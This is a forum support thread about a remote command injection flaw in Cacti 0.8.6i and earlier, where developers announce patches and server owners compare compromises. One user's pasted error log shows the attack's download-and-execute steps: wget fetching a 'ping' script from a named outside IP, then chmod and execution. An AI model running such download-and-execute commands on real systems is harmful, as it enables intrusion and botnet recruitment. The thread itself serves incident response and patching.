[Cacti <= 0.8.6i] Remote Injection Exploit

Post general support questions here that do not specifically fall into the Linux or Windows categories.

Moderators: Developers, Moderators

User avatar
rony
Developer/Forum Admin
Posts: 6022
Joined: Mon Nov 17, 2003 6:35 pm
Location: Michigan, USA
Contact:

Post by rony »

Patches for this issue are now available for the following versions:

0.8.6i
0.8.6h
[size=117][i][b]Tony Roman[/b][/i][/size]
[size=84][i]Experience is what causes a person to make new mistakes instead of old ones.[/i][/size]
[size=84][i]There are only 3 way to complete a project: Good, Fast or Cheap, pick two.[/i][/size]
[size=84][i]With age comes wisdom, what you choose to do with it determines whether or not you are wise.[/i][/size]
Makenshi
Posts: 26
Joined: Tue Jun 08, 2004 5:34 am

Post by Makenshi »

My site just got hit. It looked like a brute force attack rather than using the link from the "Sites that use Cacti" page. I shall post the web server logs shortly. Luckily I caught it before any damage was done; however I shall be reimaging the server tomorrow.
Makenshi
Posts: 26
Joined: Tue Jun 08, 2004 5:34 am

Post by Makenshi »

Please see the log excerpt attached.
Attachments
cacti-httpd-access_log.txt
Apache log file
(5.95 KiB) Downloaded 1502 times
User avatar
rony
Developer/Forum Admin
Posts: 6022
Joined: Mon Nov 17, 2003 6:35 pm
Location: Michigan, USA
Contact:

Post by rony »

That's not the standard exploit.

Um... I will decode later to see what they where attempting to do. Thanks for the log.
[size=117][i][b]Tony Roman[/b][/i][/size]
[size=84][i]Experience is what causes a person to make new mistakes instead of old ones.[/i][/size]
[size=84][i]There are only 3 way to complete a project: Good, Fast or Cheap, pick two.[/i][/size]
[size=84][i]With age comes wisdom, what you choose to do with it determines whether or not you are wise.[/i][/size]
BigWillyStyle42
Posts: 11
Joined: Tue Mar 14, 2006 11:13 am

Post by BigWillyStyle42 »

I think it's the same vulnerability, slightly different code but they're still injecting a command into the SQL database.

The command calls wget to get a ping script which it then calls and wget's some other things. A similar command was used on my machine, except they downloaded two images which were tar balls containing scripts and an httpd that connected my machine to an underworld botnet...
Makenshi
Posts: 26
Joined: Tue Jun 08, 2004 5:34 am

Post by Makenshi »

These are a couple of files I managed to retrieve in /etc/cron.d/, the exploit managed to start sshd running on [::]:80 and [::]:443.
Attachments
hack-attempt-cacti.tgz
(309.12 KiB) Downloaded 870 times
Ning
Posts: 1
Joined: Thu Aug 31, 2006 2:36 am
Location: Denmark

Post by Ning »

I've seen the same, but from a other ip.
If I try to convert it - it turns out to something like this.
and the ping file it got from 143.225.151.190

At this moment I'm very glad for SELinux
Attachments
ping.txt
ping file from the remote server
(731 Bytes) Downloaded 1066 times
httplog.txt
apache log
(2.5 KiB) Downloaded 1049 times
convert.txt
converted sql
(1.09 KiB) Downloaded 1172 times
User avatar
rony
Developer/Forum Admin
Posts: 6022
Joined: Mon Nov 17, 2003 6:35 pm
Location: Michigan, USA
Contact:

Post by rony »

Interesting...

Glad I have a local firewall configured.. :)
[size=117][i][b]Tony Roman[/b][/i][/size]
[size=84][i]Experience is what causes a person to make new mistakes instead of old ones.[/i][/size]
[size=84][i]There are only 3 way to complete a project: Good, Fast or Cheap, pick two.[/i][/size]
[size=84][i]With age comes wisdom, what you choose to do with it determines whether or not you are wise.[/i][/size]
User avatar
TheWitness
Developer
Posts: 17004
Joined: Tue May 14, 2002 5:08 pm
Location: MI, USA
Contact:

Post by TheWitness »

Nasty, yet elegant exploit. It's rather scary.

TheWitness
True understanding begins only when we realize how little we truly understand...

Life is an adventure, let yours begin with Cacti!

Author of dozens of Cacti plugins and customization's. Advocate of LAMP, MariaDB, IBM Spectrum LSF and the world of batch. Creator of IBM Spectrum RTM, author of quite a bit of unpublished work and most of Cacti's bugs.
_________________
Official Cacti Documentation
GitHub Repository with Supported Plugins
Percona Device Packages (no support)
Interesting Device Packages


For those wondering, I'm still here, but lost in the shadows. Yearning for less bugs. Who want's a Cacti 1.3/2.0? Streams anyone?
dvl
Posts: 16
Joined: Wed Nov 15, 2006 8:07 pm
Location: Warrington, PA
Contact:

Announce mailing list

Post by dvl »

PLEASE! Someone post this to the announce mailing list. It needs wider attention.

I've just submitted a patch for the FreeBSD port.
--
Dan Langille - http://www.langille.org/
User avatar
TheWitness
Developer
Posts: 17004
Joined: Tue May 14, 2002 5:08 pm
Location: MI, USA
Contact:

Post by TheWitness »

Done. Also, if you applied the patch and it broke your timespan selector. So long as you are not running the Timeshifter from Gandolf, you can apply the following file directly. I will correct the issue.

TheWitness
Attachments
inc_timespan_selector.zip
(1.61 KiB) Downloaded 964 times
True understanding begins only when we realize how little we truly understand...

Life is an adventure, let yours begin with Cacti!

Author of dozens of Cacti plugins and customization's. Advocate of LAMP, MariaDB, IBM Spectrum LSF and the world of batch. Creator of IBM Spectrum RTM, author of quite a bit of unpublished work and most of Cacti's bugs.
_________________
Official Cacti Documentation
GitHub Repository with Supported Plugins
Percona Device Packages (no support)
Interesting Device Packages


For those wondering, I'm still here, but lost in the shadows. Yearning for less bugs. Who want's a Cacti 1.3/2.0? Streams anyone?
dvl
Posts: 16
Joined: Wed Nov 15, 2006 8:07 pm
Location: Warrington, PA
Contact:

Security Advisory link

Post by dvl »

--
Dan Langille - http://www.langille.org/
lozzd
Posts: 30
Joined: Thu Dec 08, 2005 7:13 pm
Contact:

Post by lozzd »

I had the same as Ning.

However, I have the following in my error log:

Code: Select all

--05:54:11--  http://143.225.151.190/libsh/ping.txt
           => `ping.txt'
Connecting to 143.225.151.190:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 345 [text/plain]
ping.txt: Permission denied

Cannot write to `ping.txt' (Permission denied).
mv: cannot stat `ping.txt': No such file or directory
Can't open perl script "temp2006": No such file or directory
--05:54:11--  http://143.225.151.190/libsh/ping
           => `ping'
Connecting to 143.225.151.190:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15,808 [text/plain]
ping: Permission denied

Cannot write to `ping' (Permission denied).
chmod: cannot access `ping': No such file or directory
sh: ./ping: No such file or directory
sh: curl: command not found
chmod: cannot access `ping': No such file or directory
sh: ./ping: No such file or directory
Do you think that means nothing was affected? I can't see any evidence of it anyway. I've applied the fix now.. There should really be a way to tell everyone about that! Had I not have been checking through my error logs I wouldn't have known. [/code]
dvl
Posts: 16
Joined: Wed Nov 15, 2006 8:07 pm
Location: Warrington, PA
Contact:

I think not...

Post by dvl »

lozzd: I suspect you're fine.

Compare your results with mine: http://www.freebsddiary.org/cacti-exploit.php
--
Dan Langille - http://www.langille.org/
lozzd
Posts: 30
Joined: Thu Dec 08, 2005 7:13 pm
Contact:

Post by lozzd »

Great, thanks dvl.
I guess it must have failed as I saw nothing at all unusual in my graphs.. I just happened to be nosying through my error logs and found it. I'm quite impressed really that my apache seems to be so locked down; I thought I'd done a poor attempt at securing it, but I'd obviously done something right as everything was blocked!
Post Reply

Who is online

Users browsing this forum: No registered users and 9 guests